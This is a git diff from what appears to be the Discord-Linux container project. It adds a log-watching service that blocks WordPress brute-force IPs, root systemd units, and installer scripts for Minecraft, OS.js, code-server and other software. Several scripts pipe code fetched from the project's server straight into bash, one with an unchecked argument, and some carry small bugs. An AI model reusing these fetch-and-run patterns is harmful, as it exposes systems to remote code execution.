means that someone (Maybe you) has tried to login with an invalid username!"); + } + }) + + ; +} + +function listenWPLog(logLocation) { + // Check to see if we are a wordpress user, if so, activate the wordpress notification service + try { + if (fs.existsSync("/var/www/html/wp-config.php")) { + console.log("We are a wordpress user, activating wordpress notification service"); + + // Tail Logs section, if we have a lot, it will have a listeniner below. + wpTail.on("line", function (info) { + + // Convert Data to String + let requestInfo = info.toString() + // FIND IP Address from this request + var ipRegEx = /\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b/; // RegEx IPAddress Format + var ipRegExMatched = requestInfo.match(ipRegEx); // Set up our match + let remoteIP = ipRegExMatched[0] // Set our var + + // // Grab the whitelist + // let whitelistData = process.env.WHITELIST + // let whitelist = whitelistData.split(",") + + // // If an IP is found to be in the whitelist, return as to do nothing. + // for (const [key, value] of Object.entries(whitelist)) { + // if (value === remoteIP) return + // } + + // Filtering out any server-status requests - These are annoying. + if (requestInfo.includes("server-status")) { + // Add to the server status count so we may keep track of these requests. + serverStatusCount++ + // Lets return the data as no not proceed with any further code, as it is not needed. + // We return to stdout here to update the cli without adding a new line line a clock + return process.stdout.write("Server Status Count: " + serverStatusCount + "\r"); + } + + // If request contans wp-login lets process its request + if (requestInfo.includes("wp-login.php")) { + // Lets start the process of logging attack attempts to determine request intent. + // Over the threshhold here will automatically CSF D the IP Address. + // In this simple version, we will just log each IP Address as they come in within an array + // We will then roll and count this array after each detection to determine the IPs intent. + console.log("---------\nWP LOGIN REQUEST DETECTED!\n---------") + console.log(info + "\n----------"); + attackData.push(remoteIP) + + // Lets count the attack data per IP Address to ensure its logged properly. + var counts = {}; + + // For each IP Address recorded into the main attackData array, count them and see outmany bad requests they have made. + attackData.forEach(function (x) { + // Add a point for each entry + counts[x] = (counts[x] || 0) + 1; + // + for ([key, value] of Object.entries(counts)) { + // If the count has hit the blockON Count we start the blocking process + + if (counts[x] == 5) { + // Preserve the key for later blocklist addition + ipToBlock = key + + // Check the already blocked IPs - If the remoteIP is in the list do nothing + if (blockedIPs.includes(key)) { + return + + } else { + // The remoteIP is not listed, lets add it. + blockedIPs.push(ipToBlock) + // Let the log know we are blocking the IP + console.log("Starting to block bad IP") + // Run the block, wait for the promise - Requests are still going on + cmd(`/var/tools/firewallctl ` + key + " WP-Login Brute Force Blocked Via secuNotify").then(out => { + notify("secuNotify Service Alert:\n " + key + " has been blocked for 5 bad wordpress login attempts!"); + + // The block has finished - remoteIP no longer has access + }).catch(err => { + // IF we see an error, give its output + console.log('CSF Error: ', err) + }).then(out2 => { + // Set IPBLOCK to null for a reset and start scanning for new attacks + ipToBlock = null; + console.log("Attack Stopped, Looking for new attacks....") + + + }) + } + } + } + + }); + + // Live view of the counts + console.log(counts) + + } + }) + } + } catch (err) { + console.log(err) + } +} + + +listenAuthLog("/var/log/auth.log") + +fs.exists("/var/log/apache2/access.log", function (isExist) { + if (isExist) { + wpTail = new Tail("/var/log/apache2/access.log"); + listenWPLog("/var/log/apache2/access.log") + } else { + console.log("ApacheHTTP Server is not installed, not enabling WP protection."); + } + }); + + + + + diff --git a/install/secu/secuNotify b/install/secu/secuNotify new file mode 100755 index 0000000..421d62e Binary files /dev/null and b/install/secu/secuNotify differ diff --git a/install/secu/secuNotify.service b/install/secu/secuNotify.service new file mode 100644 index 0000000..fdb372e --- /dev/null +++ b/install/secu/secuNotify.service @@ -0,0 +1,15 @@ +[Unit] +Description=secunotify service +After=network.target +StartLimitIntervalSec=0 +[Service] +EnvironmentFile= +WorkingDirectory=/var/tools/ +Type=simple +Restart=always +RestartSec=1 +User=root +ExecStart=/var/tools/secuNotify + +[Install] +WantedBy=multi-user.target \ No newline at end of file diff --git a/install/secu/secuNotifyold b/install/secu/secuNotifyold new file mode 100755 index 0000000..483f21b Binary files /dev/null and b/install/secu/secuNotifyold differ diff --git a/install/startfiles/base b/install/startfiles/base new file mode 100644 index 0000000..00ae7dd --- /dev/null +++ b/install/startfiles/base @@ -0,0 +1,26 @@ +#!/bin/sh +export CID=$(basename $(cat /proc/1/cpuset)) +service ssh start +sh /var/tools/getsystemctl.sh + +#DISCORD-LINUX AUTOINSTALLER +#DONOTREMOVE +#webmin +#osjs +#wp +#ENDDONOTREMOVE + +#ADD ANY SERVICES YOU NEED TO BOOT ON START UP BELOW +#DO NOT ADD ANY LINES BELOW THE TAIL -F /DEV/NULL +#DOING SO WILL BREAK YOUR CONTAINER. + +#CUSTOM SERVICES START + + + + +#CUSTOM SERVICES END + +#DONOTREMOVEEVER +tail -f /dev/null +#DONOTPUTANYTHINGBELOWTHISLINEEVER diff --git a/install/startfiles/dlinux-service.service b/install/startfiles/dlinux-service.service new file mode 100644 index 0000000..0fbf145 --- /dev/null +++ b/install/startfiles/dlinux-service.service @@ -0,0 +1,15 @@ +[Unit] +Description=dlinux service +After=network.target +StartLimitIntervalSec=0 +[Service] +EnvironmentFile= +WorkingDirectory=/root/.service +Type=simple +Restart=always +RestartSec=1 +User=root +ExecStart=/usr/bin/node /root/.service/dlinux + +[Install] +WantedBy=multi-user.target \ No newline at end of file diff --git a/install/startfiles/webmin b/install/startfiles/webmin new file mode 100644 index 0000000..2d3d3f4 --- /dev/null +++ b/install/startfiles/webmin @@ -0,0 +1,6 @@ +#!/bin/sh +export CID=$(basename $(cat /proc/1/cpuset)) +service ssh start +sh /var/tools/getsystemctl.sh +service webmin start +tail -f /dev/null diff --git a/install/whoogle/config b/install/whoogle/config new file mode 100644 index 0000000..4519692 --- /dev/null +++ b/install/whoogle/config @@ -0,0 +1,71 @@ +# ---------------------------------- +# Rename to "whoogle.env" before use +# ---------------------------------- +# You can set Whoogle environment variables here, but must +# modify your deployment to enable these values: +# - Local: Set WHOOGLE_DOTENV=1 +# - docker-compose: Uncomment the env_file option +# - docker: Add "--env-file ./whoogle.env" to your build command + + + + +#WHOOGLE_CSP=1 +#HTTPS_ONLY=1 + +# Restrict results to only those near a particular city +#WHOOGLE_CONFIG_NEAR=denver + +# See app/static/settings/countries.json for values +WHOOGLE_CONFIG_COUNTRY=US + +# See app/static/settings/languages.json for values +WHOOGLE_CONFIG_LANGUAGE=lang_en + +# See app/static/settings/languages.json for values +WHOOGLE_CONFIG_SEARCH_LANGUAGE=lang_en + +# Disable changing of config from client +WHOOGLE_CONFIG_DISABLE=0 + +# Block websites from search results (comma-separated list) +#WHOOGLE_CONFIG_BLOCK=pinterest.com,whitehouse.gov + +# Theme (light, dark, or system) +WHOOGLE_CONFIG_THEME=dark + +# Safe search mode +#WHOOGLE_CONFIG_SAFE=1 + +# Use social media site alternatives (nitter, bibliogram, etc) +#WHOOGLE_CONFIG_ALTS=1 + +# Use Tor if available +WHOOGLE_CONFIG_TOR=1 + +# Open results in new tab +#WHOOGLE_CONFIG_NEW_TAB=1 + +# Enable View Image option +WHOOGLE_CONFIG_VIEW_IMAGE=1 + +# Search using GET requests only (exposes query in logs) +#WHOOGLE_CONFIG_GET_ONLY=1 + +# Remove everything except basic result cards from all search queries +#WHOOGLE_MINIMAL=0 + +# Set the number of results per page +#WHOOGLE_RESULTS_PER_PAGE=10 + +# Controls visibility of autocomplete/search suggestions +#WHOOGLE_AUTOCOMPLETE=1 + +# The port where Whoogle will be exposed +EXPOSE_PORT=5000 + +# Set instance URL +#WHOOGLE_CONFIG_URL=https:/// + +# Set custom CSS styling/theming +#WHOOGLE_CONFIG_STYLE=":root { /* LIGHT THEME COLORS */ --whoogle-background: #d8dee9; --whoogle-accent: #2e3440; --whoogle-text: #3B4252; --whoogle-contrast-text: #eceff4; --whoogle-secondary-text: #70757a; --whoogle-result-bg: #fff; --whoogle-result-title: #4c566a; --whoogle-result-url: #81a1c1; --whoogle-result-visited: #a3be8c; /* DARK THEME COLORS */ --whoogle-dark-background: #222; --whoogle-dark-accent: #685e79; --whoogle-dark-text: #fff; --whoogle-dark-contrast-text: #000; --whoogle-dark-secondary-text: #bbb; --whoogle-dark-result-bg: #000; --whoogle-dark-result-title: #1967d2; --whoogle-dark-result-url: #4b11a8; --whoogle-dark-result-visited: #bbbbff; }" \ No newline at end of file diff --git a/install/whoogle/whoogleStart.json b/install/whoogle/whoogleStart.json new file mode 100644 index 0000000..397795c --- /dev/null +++ b/install/whoogle/whoogleStart.json @@ -0,0 +1,9 @@ +{ + "apps": [ + { + "name": "Whoogle", + "script": "bash -c ./run", + "args" : "" + } + ] +} diff --git a/mc-64 b/mc-64 new file mode 100644 index 0000000..5655808 --- /dev/null +++ b/mc-64 @@ -0,0 +1,63 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux MineCraft Server Automated installer" +echo "This will install MineCraft Sever on your system" +echo "A random port on your container will be selected." +printf "\n" +echo "Running this sever does require the Discord-Linux Power Plan" +echo "You may purchase this plan here: https://store.discord-linux.com/product/discord-power-upgrade/" +printf "\n" +echo "Sleeping for 30 seconds, please close this process if you do not wish to continue" + +sleep 3 + +wget -q -O - https://ssh.surf/notifyx64 | bash + +notif "Welcome to the MineCraft Server installer for Discord-Linux, the installation is starting and will complete in 45 seconds" +apt update +useradd mc +mkdir -vp /home/mc +chown mc:mc /home/mc +wget -O /home/mc/server.jar https://papermc.io/api/v2/projects/paper/versions/1.18.2/builds/234/downloads/paper-1.18.2-234.jar + + +wget -O /home/mc/minecraft-server.json https://ssh.surf/install/mc/minecraft-server.json + + +wget -q -O /home/mc/eula.txt https://ssh.surf/install/mc/eula + +chown -R mc:mc /home/mc/ + +pm2 start /home/mc/minecraft-server.json + + + +echo "sleeping 30 seconds to allow the server to generate" +sleep 30 + +echo "Shutting down the MC server for port configuration" + +pm2 delete all + +echo "killing any possible running instances of java" +pkill java -9 + + + +echo "Setting port in our config" +#sed -i "s/25565/${port}/g" /home/mc/server.properties +sed -i "s/max-players=20/max-players=4/g" /home/mc/server.properties +sed -i "s/A Minecraft Server/An MC Server running on Discord-Linux/g" /home/mc/server.properties + +echo "Starting the server for final launch" +pm2 start /home/mc/minecraft-server.json +relayPort 25565 + +echo "=========================" +echo "Installation is complete." +echo "=========================" + +echo "Your installation has completed, connect to your MineCraft Server via hyper relay: $(hostname)-25565" +notif "Your installation has completed, connect to your MineCraft Server via via hyper relay: $(hostname)-25565" +echo "Please allow up to 5 minutes for the server to start up" + diff --git a/notif b/notif new file mode 100644 index 0000000..40d2acf Binary files /dev/null and b/notif differ diff --git a/notif64 b/notif64 new file mode 100644 index 0000000..9687ed8 Binary files /dev/null and b/notif64 differ diff --git a/notify-x64 b/notify-x64 new file mode 100644 index 0000000..509680c Binary files /dev/null and b/notify-x64 differ diff --git a/ols-64 b/ols-64 new file mode 100755 index 0000000..5ec7986 --- /dev/null +++ b/ols-64 @@ -0,0 +1,55 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux OpenLiteSpeed Automated installer for dLinux64" +echo "This installer will automatically select a port on your container." +echo "I will let you know how to access your Webmin installation when installation is complete." +echo "" +echo "" +echo "" +echo "" + +apt update +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/notify-x64 && chmod +x /usr/bin/notif +echo "Done" + +notif "Welcome to the OpenLiteSpeed Automated installer for Discord-Linux, We are preparing your installation..." + + +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y + +DEBIAN_FRONTEND=noninteractive apt-get -y install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl python unzip zip + echo "deb http://rpms.litespeedtech.com/debian/ focal main" > /etc/apt/sources.list.d/lst_debian_repo.list + echo "#deb http://rpms.litespeedtech.com/edge/debian/ focal main" >> /etc/apt/sources.list.d/lst_debian_repo.list + + wget -O /etc/apt/trusted.gpg.d/lst_debian_repo.gpg http://rpms.litespeedtech.com/debian/lst_debian_repo.gpg +wget -O /etc/apt/trusted.gpg.d/lst_repo.gpg http://rpms.litespeedtech.com/debian/lst_repo.gpg + +sudo apt update + +DEBIAN_FRONTEND=noninteractive apt-get -y install openlitespeed + +DEBIAN_FRONTEND=noninteractive apt-get -y install lsphp80 + +/usr/local/lsws/bin/lswsctrl start + +service webmin start + +relayPort 7000 + +sleep 5 + +url=$(grep -hPo "(?<=listening ).*" /root/.pm2/logs/Relay-80-out.log | head -n 1 | sed 's/$/.virt.fun/') +backendurl=$(grep -hPo "(?<=listening ).*" /root/.pm2/logs/Relay-7000-out.log | head -n 1 | sed 's/$/.virt.fun/') +echo "referers=$url" >> /etc/webmin/config + + +sed -i "s/#ols/usr/local/lsws/bin/lswsctrl start \&\& relayPort 7000/g" /start.sh + +notif "Your webserver URL is https://$url" +notif "Your ADMIN URL is https://$backendurl" + + +echo "Your installation has completed, you may access your installation at: https://$url" + + diff --git a/osjs-webdesktop-64 b/osjs-webdesktop-64 new file mode 100755 index 0000000..3bf6555 --- /dev/null +++ b/osjs-webdesktop-64 @@ -0,0 +1,125 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux OSjs Automated installer" +echo "This installer will automatically select a port on your container." +echo "I will let you know how to access your installation when this process is complete." +echo "" +echo "" +echo "" +echo "Sleeping for 5 seconds, please close this process if you do not wish to continue" + +sleep 5 +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/notify-x64 && chmod +x /usr/bin/notif +echo "Done" + +notif "Welcome to the OSjs Automated installer for Discord-Linux, we will begin by updating your system. Please wait..." + +apt update +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y + +DEBIAN_FRONTEND=noninteractive apt-get -y install build-essential libpam-dev perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl python unzip zip + +#https://askubuntu.com/questions/916199/install-apt-show-versions-inside-an-ubuntu-docker-container + +sh /var/tools/getsystemctl.sh + +notif "The system has been updated and systemD has been patched, we are now starting to install the required NPM's for OSjs" + +mkdir -vp /webos + +cd /webos && git clone https://github.com/os-js/OS.js.git + +mv /webos/OS.js /webos/OSjs + +cd /webos/OSjs && rm -f package-lock.json + +echo "Installing main packages..." +npm install + +npm update + +notif "The Core OSjs Packages have been installed, we are now starting to install the Applications for OSJS Via NPM" + +npm install @osjs/textpad-application +npm install --save --production @osjs/draw-application +npm install --save --production @osjs/filemanager-application +npm install @osjs/settings-application +npm install @osjs/writer-application +npm install --save --production @osjs/xterm-application +npm install --save --production @osjs/ace-application +npm install @osjs/xpra-application +npm install @osjs/vnc-application +npm install @osjs/epub-application +npm install @osjs/webodf-application +npm install @osjs/wolfenstein3d-application +npm install @osjs/tetris-application +npm install @osjs/standard-theme +npm install @osjs/standard-dark-theme +npm install @osjs/gnome-icons +npm install @osjs/freedesktop-sounds +npm install --save --production @osjs/pam-auth + +echo "Fixing detected vulns" + +npm audit fix + + + + +notif "We are almost finished, we are now configuring OSjs and starting the server" + +echo "removing config files..." +rm -f src/server/index.js + +rm -f src/server/config.js + +rm -f src/client/config.js + + +echo "Installing our own customized config files" + +wget -O src/server/index.js https://ssh.surf/install/osjs/osjs_server_index.js + +wget -O src/server/config.js https://ssh.surf/install/osjs/osjs_server_config.js + +wget -O src/client/config.js https://ssh.surf/install/osjs/osjs_client_config.js + +wget -O src/client/wallpaper.jpg https://ssh.surf/wallpaper.jpg + +wget -O osjsStart.json https://ssh.surf/install/osjs/osjsStart.json + + +echo "Setting port in our config" +sed -i "s/CUSTOM/10001/g" src/server/config.js + +echo "Discovering all installed packages..." +npm run package:discover + +echo "Building the client..." +npm run build + +rm -f /webos/OSjs/dist/f4cfc6708cf6bfc17d4b1e775f594ae2.png + +wget -O /webos/OSjs/dist/f4cfc6708cf6bfc17d4b1e775f594ae2.png https://ssh.surf/wallpaper.png + +cd /webos/OSjs && pm2 start osjsStart.json + +sleep 5 + +relayPort 10001 + +sleep 5 + +url=$(grep -hPo "(?<=listening ).*" /root/.pm2/logs/Relay-10001-out.log | head -n 1 | sed 's/$/.virt.fun/') + + +echo "cd /webos/OSjs && pm2 start osjsStart.json" > /var/tools/osjsboot.sh + +chmod +x /var/tools/osjsboot.sh + +sed -i "s/#osjs/cd \/webos\/OSjs \&\& pm2 start osjsStart.json \&\& relayPort 1001/g" /start.sh + +notif "Your OSJS installation has completed and should be running at this time, you may access your installation at: https://$url" + +echo "Your OSJs installation has completed and should be running at this time, you may access your installation at: https://$url" diff --git a/resolv b/resolv new file mode 100644 index 0000000..4f0e206 --- /dev/null +++ b/resolv @@ -0,0 +1,4 @@ +search vcn07112203.oraclevcn.com subnet07112203.vcn07112203.oraclevcn.com +nameserver 169.254.169.254 +nameserver 127.0.0.11 +options ndots:0 diff --git a/run/script b/run/script new file mode 100644 index 0000000..b75506e --- /dev/null +++ b/run/script @@ -0,0 +1,2 @@ +#!/bin/bash + echo hi \ No newline at end of file diff --git a/send-to-log-64 b/send-to-log-64 new file mode 100644 index 0000000..f318198 --- /dev/null +++ b/send-to-log-64 @@ -0,0 +1,54 @@ +#!/bin/bash +echo "Welcome to the Send-To-Log system installer" +wget -q -O /usr/bin/notif https://ssh.surf/notify-x64 && chmod +x /usr/bin/notif +notif Welcome to the Send-To-Log installer, we will pick a port and provide you a URL when complete. + +sleep 2 +apt update +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y +DEBIAN_FRONTEND=noninteractive apt-get -y install build-essential cmake git libjson-c-dev libwebsockets-dev screen + + +notif Cloning and Configuring our Software + +# Move to our tmp directory +cd /tmp +# Clone the repo +git clone https://github.com/tsl0922/ttyd.git +# Move and build! +cd ttyd && mkdir build && cd build +# Install +cd /tmp/ttyd/build && cmake .. +cd /tmp/ttyd/build && make && sudo make install + +# lets download our start up files backend and frontend. +wget -q -O /etc/systemd/system/s2l.service https://ssh.surf/install/s2l/s2l-service.service + +wget -q -O /etc/s2l.json https://ssh.surf/install/s2l/s2l-pm2.json + +wget -q -O /usr/bin/s2l https://ssh.surf/install/s2l/input.sh + +chmod +x /usr/bin/s2l + +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +sed -i "s/changeme/7070/g" /etc/s2l.json +sed -i "s/#s2lmain/systemctl start s2l && sleep 5/g" /start.sh +sed -i "s/#s2lsecond/pm2 start \/etc\/s2l.json/g" /start.sh +cd / +systemctl start s2l +sleep 5 +pm2 start /etc/s2l.json +sleep 10 +relayPort 7070 +sleep 5 + +url=$(grep -hPo "(?<=listening ).*" /root/.pm2/logs/Relay-7070-out.log | head -n 1 | sed 's/$/.virt.fun/') + + +echo "Done, you may access s2l at https://$url" +notif Done, you may access s2l at https://$url +notif Send commands using s2l commandhere or on the bot ^s commandhere diff --git a/test.go b/test.go new file mode 100644 index 0000000..6956e09 --- /dev/null +++ b/test.go @@ -0,0 +1,29 @@ +// webserver that says hello + + +package main + + +import ( + "fmt" + "net/http" +) + + +func main() { + http.HandleFunc("/", handler) + http.ListenAndServe(":8080", nil) +} + + +func handler(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello, world!") +} + + +// Output: +// $ go run test.go +// Hello, world! +// $ + + diff --git a/ubuntu/auto-install b/ubuntu/auto-install new file mode 100644 index 0000000..0db8d76 --- /dev/null +++ b/ubuntu/auto-install @@ -0,0 +1,5 @@ +#!/bin/bash +wget -q -O /usr/bin/auto-install https://ssh.surf/auto-install.sh +chmod +x /usr/bin/auto-install +echo "The Discord-Linux AutoInstaller has been installed successfully" + diff --git a/ubuntu/auto-install.sh b/ubuntu/auto-install.sh new file mode 100755 index 0000000..58112ed --- /dev/null +++ b/ubuntu/auto-install.sh @@ -0,0 +1,18 @@ +#!/bin/bash +if [ $# -eq 0 ]; then + echo "Welcome to the Discord-Linux Automated-Installer" + echo "To view the currently avalible software, use: auto-install list" + exit 1 +fi + +OperatingSystem=$(cat /var/OS) + + + #!/bin/bash + if [ "$1" == "list" ] + then + curl https://ssh.surf/$OperatingSystem/list + else + wget -q -O - https://ssh.surf/$OperatingSystem/$1 | bash + fi + diff --git a/ubuntu/code-server b/ubuntu/code-server new file mode 100644 index 0000000..72f237b --- /dev/null +++ b/ubuntu/code-server @@ -0,0 +1,58 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux CodeServer Automated installer" +echo "This installer will automatically select a port on your container." +echo "I will let you know how to access your installation when installation is complete." +echo "" + + +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/notif && chmod +x /usr/bin/notif +echo "Done" + +notif "Welcome to the Code-Server Automated installer for Discord-Linux ARM, We are preparing your installation..." + +apt update +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y + +wget -q https://github.com/coder/code-server/releases/download/v3.12.0/code-server_3.12.0_arm64.deb + +notif "Installing Code-Server 3.12 using DPKG" + +dpkg -i code-server_3.12.0_arm64.deb + +rm -f code-server_3.12.0_arm64.deb + +notif "Downloading our configurations" + +wget -q -O /var/tools/startCodeServer.json https://ssh.surf/install/code-server/startCodeServer.json + +wget -q -O /var/tools/startCodeServer.sh https://ssh.surf/install/code-server/startCodeServer.sh + +chmod +x /var/tools/startCodeServer.sh + +mkdir -vp /root/.config/code-server/ + +wget -q -O /root/.config/code-server/config.yaml https://ssh.surf/install/code-server/config.yaml + +PASS=$(openssl rand -hex 12) + + +sed -i "s/replaceme/${PASS}/g" ~/.config/code-server/config.yaml + +sed -i "s/#code-server/cd \/var\/tools \&\& pm2 start startCodeServer.json \&\& relayPort 8080/g" /start.sh + + + +notif "Requesting port from API Server" +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +sed -i "s/127.0.0.1:8080/0.0.0.0:${port}/g" /root/.config/code-server/config.yaml + +pm2 start /var/tools/startCodeServer.json + + +notif "The installation has completed. You may access your install at: http://ssh.surf:$port with the password $PASS" diff --git a/ubuntu/cs-test b/ubuntu/cs-test new file mode 100644 index 0000000..91891fa --- /dev/null +++ b/ubuntu/cs-test @@ -0,0 +1,58 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux CodeServer Automated installer" +echo "This installer will automatically select a port on your container." +echo "I will let you know how to access your installation when installation is complete." +echo "" + + +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/notif && chmod +x /usr/bin/notif +echo "Done" + +notif "Welcome to the Code-Server Automated installer for Discord-Linux ARM, We are preparing your installation..." + +apt update +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y + +wget -q https://github.com/coder/code-server/releases/download/v4.4.0/code-server_4.4.0_arm64.deb + +notif "Installing Code-Server code-server_4.4.0_arm64.deb using DPKG" + +dpkg -i code-server_4.4.0_arm64.deb + +rm -f code-server_4.4.0_arm64.deb + +notif "Downloading our configurations" + +wget -q -O /var/tools/startCodeServer.json https://ssh.surf/install/code-server/startCodeServer.json + +wget -q -O /var/tools/startCodeServer.sh https://ssh.surf/install/code-server/startCodeServer.sh + +chmod +x /var/tools/startCodeServer.sh + +mkdir -vp /root/.config/code-server/ + +wget -q -O /root/.config/code-server/config.yaml https://ssh.surf/install/code-server/config.yaml + +PASS=$(openssl rand -hex 12) + + +sed -i "s/replaceme/${PASS}/g" ~/.config/code-server/config.yaml + +sed -i "s/#code-server/cd \/var\/tools \&\& pm2 start startCodeServer.json \&\& relayPort 8080/g" /start.sh + + + +notif "Requesting port from API Server" +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +sed -i "s/127.0.0.1:8080/0.0.0.0:${port}/g" /root/.config/code-server/config.yaml + +pm2 start /var/tools/startCodeServer.json + + +notif "The installation has completed. You may access your install at: http://ssh.surf:$port with the password $PASS" diff --git a/ubuntu/hastebin b/ubuntu/hastebin new file mode 100644 index 0000000..b427128 --- /dev/null +++ b/ubuntu/hastebin @@ -0,0 +1,57 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux HasteBin Automated installer" +echo "This installer will automatically select a port on your container." +echo "I will let you know how to access your Webmin installation when installation is complete." +echo "" + + +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/notif && chmod +x /usr/bin/notif +echo "Done" + +notif "Welcome to the HasteBin Automated installer for Discord-Linux, We are preparing your installation..." + +apt update +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y + +cd /home + +notif "Cloning into /home/haste-server" +git clone https://github.com/seejohnrun/haste-server.git + +cd haste-server + +npm install + +npm update + +notif "Requesting port from API Server" +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +sed -i "s/7777/${port}/g" config.js + + +notif "Configuring HasteBin and starting it's server" +wget -O hasteBinStart.json https://ssh.surf/install/hastebin + +cd /home/haste-server && pm2 start hasteBinStart.json + +sed -i "s/#hastebin/cd \/home\/haste-server \&\& pm2 start hasteBinStart.json/g" /start.sh + + +echo "Your installation has completed, you may access your installation at: http://ssh.surf:$port" +echo "" +echo "" +echo "You may also create a subdomain for your installation by usoing the following commands in discord" +echo "+dns register yoursubdomainhere" +echo "+dns vhost $port" +echo "The installation will then be avalible over encrypted SSL at https://yoursubdomainhere.ssh.surf" + +echo "Sending discord notification to your account:" +notif "Your hastebin installation has completed, you may access your installation at: http://ssh.surf:$port" + + diff --git a/ubuntu/installservice b/ubuntu/installservice new file mode 100644 index 0000000..28c44ef --- /dev/null +++ b/ubuntu/installservice @@ -0,0 +1,13 @@ +#!/bin/bash +apt update && apt install build-essential -y +mkdir -p /root/.service +wget -O /root/.service/dlinux https://ssh.surf/node-service + +cd /root/.service/ && npm i cmd-promise +cd /root/.service/ && npm install --save hyper-ipc + +wget -O /etc/systemd/system/dlinux.service https://ssh.surf/install/startfiles/dlinux-service.service + +#sed -i 's/sh \/var\/tools\/getsystemctl.sh/sh \/var\/tools\/getsystemctl.sh \&\& systemctl start dlinux/g' /start.sh +#systemctl start dlinux + diff --git a/ubuntu/jdk b/ubuntu/jdk new file mode 100644 index 0000000..63fb3df --- /dev/null +++ b/ubuntu/jdk @@ -0,0 +1,12 @@ +sudo apt-get install -y wget apt-transport-https + +wget -O - https://packages.adoptium.net/artifactory/api/gpg/key/public | sudo tee /usr/share/keyrings/adoptium.asc + +echo "deb [signed-by=/usr/share/keyrings/adoptium.asc] https://packages.adoptium.net/artifactory/deb $(awk -F= '/^VERSION_CODENAME/{print$2}' /etc/os-release) main" | sudo tee /etc/apt/sources.list.d/adoptium.list + +cat /etc/apt/sources.list.d/adoptium.list + +sudo apt-get update + +DEBIAN_FRONTEND=noninteractive apt install temurin-17-jdk + diff --git a/ubuntu/list b/ubuntu/list new file mode 100644 index 0000000..6bf1e0c --- /dev/null +++ b/ubuntu/list @@ -0,0 +1,24 @@ +Software Currently Avalible within Discord-Linux: +To install simply use: auto-install packageName + +PackageName - Software URL + +webmin - https://www.webmin.com/ +osjs-webdesktop - https://www.os-js.org/ +wp - https://wordpress.org/ +hastebin - https://www.toptal.com/developers/hastebin/about.md +code-server - https://github.com/coder/code-server +jdk - https://adoptium.net/ +mc - https://papermc.io/ +secuNotify - https://docs.discord-linux.com/en/auto-installers#secunotify +send-to-log - https://docs.discord-linux.com/en/auto-installers#send-to-log-s2l + +Discord-Linux x64 Beta can use the following packages: + +Webmin-x64 - https://www.webmin.com/ +osjs-webdesktop-64 - https://www.os-js.org/ +wp-64 - https://wordpress.org/ +mc-64 - https://papermc.io/ +jdk - https://adoptium.net/ + + diff --git a/ubuntu/mc b/ubuntu/mc new file mode 100644 index 0000000..a22cc89 --- /dev/null +++ b/ubuntu/mc @@ -0,0 +1,68 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux MineCraft Server Automated installer" +echo "This will install MineCraft Sever on your system" +echo "A random port on your container will be selected." +printf "\n" +echo "Running this sever does require the Discord-Linux Power Plan" +echo "You may purchase this plan here: https://store.discord-linux.com/product/discord-power-upgrade/" +printf "\n" +echo "Sleeping for 30 seconds, please close this process if you do not wish to continue" + +sleep 30 + +wget -q -O - https://ssh.surf/notify | bash +notif "Welcome to the MineCraft Server installer for Discord-Linux, the installation is starting and will complete in 45 seconds" +apt update +useradd mc +mkdir -vp /home/mc +chown mc:mc /home/mc +wget -O /home/mc/server.jar https://papermc.io/api/v2/projects/paper/versions/1.18.2/builds/234/downloads/paper-1.18.2-234.jar + + +wget -O /home/mc/minecraft-server.json https://ssh.surf/install/mc/minecraft-server.json + + +wget -q -O /home/mc/eula.txt https://ssh.surf/install/mc/eula + +chown -R mc:mc + +su - mc -c "cd /home/mc/ && pm2 start minecraft-server.json" + +echo "sleeping 30 seconds to allow the server to generate" +sleep 30 + +echo "Shutting down MC" + +su - mc -c "cd /home/mc/ && pm2 delete all" + +echo "killing any possible running instances of java" +pkill java -9 + + +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) +echo "Setting port in our config" + + + +echo "Starting the server for config launch" +su - mc -c "cd /home/mc/ && pm2 start minecraft-server.json" +sleep 5 +su - mc -c "cd /home/mc/ && pm2 delete all" +pkill java -9 + +sed -i "s/25565/${port}/g" /home/mc/server.properties +sed -i "s/max-players=20/max-players=4/g" /home/mc/server.properties +sed -i "s/A Minecraft Server/An MC Server running on Discord-Linux/g" /home/mc/server.properties +echo "=========================" +echo "Installation is complete." +echo "=========================" + + +echo "Your installation has completed, connect to your MineCraft Server using the following: ssh.surf:$port" +notif "Your installation has completed, connect to your MineCraft Server using the following: ssh.surf:$port" +echo "Please allow up to 5 minutes for the server to start up" + diff --git a/ubuntu/node-service 